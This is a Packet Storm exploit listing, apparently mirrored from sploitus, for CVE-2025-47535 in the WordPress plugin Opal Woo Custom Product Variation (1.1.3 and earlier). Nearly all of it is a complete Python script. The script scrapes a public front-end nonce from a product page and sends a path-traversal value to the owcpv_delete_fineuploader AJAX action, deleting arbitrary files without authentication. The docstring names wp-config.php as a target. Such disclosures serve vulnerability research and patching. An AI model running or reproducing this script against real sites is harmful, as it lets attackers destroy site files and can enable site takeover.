Share
## https://sploitus.com/exploit?id=PACKETSTORM:226449
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Opal Woo Custom Product Variation <= 1.1.3 - Unauthenticated Arbitrary File Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/opal-woo-custom-product-variation/
# Software Link: https://downloads.wordpress.org/plugin/opal-woo-custom-product-variation.1.1.3.zip
# Version: 1.1.3 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-47535
"""
Opal Woo Custom Product Variation <= 1.1.3 nopriv admin-ajax action owcpv_delete_fineuploader does
wp_delete_file(uploads/owcpv_uploads/ . $_POST['temp_file']) with no path-traversal containment
(class-owcpv-frontend.php:794) -> unauthenticated arbitrary file deletion. Nonce
opalwoocu.security_nonce is a public front-end nonce printed on any product page. Demonstrated
against a canary; ../ traverses out of owcpv_uploads (e.g. to delete wp-config.php).
Prior state: WooCommerce active + one product page (for the public nonce).
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--product-path", default="/product/alpha-widget/")
ap.add_argument("--file", default="../canary_opal.txt", help="path relative to uploads/owcpv_uploads/")
a = ap.parse_args(); base = a.target.rstrip("/")
s = requests.Session(); s.verify = False
m = re.search(r'"security_nonce":"([a-f0-9]+)"', s.get(base + a.product_path).text)
nonce = m.group(1) if m else None
print(f"[*] Target: {base} | public nonce: {nonce} | deleting: {a.file}")
r = s.post(base + "/wp-admin/admin-ajax.php",
data={"action": "owcpv_delete_fineuploader", "temp_file": a.file,
"ajax_nonce_parameter": nonce}, timeout=20)
print(f"[*] owcpv_delete_fineuploader -> HTTP {r.status_code} :: {r.text[:80]}")
if '"success":true' in r.text:
print("\n[+] Arbitrary file deletion CONFIRMED (unauthenticated)."); return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())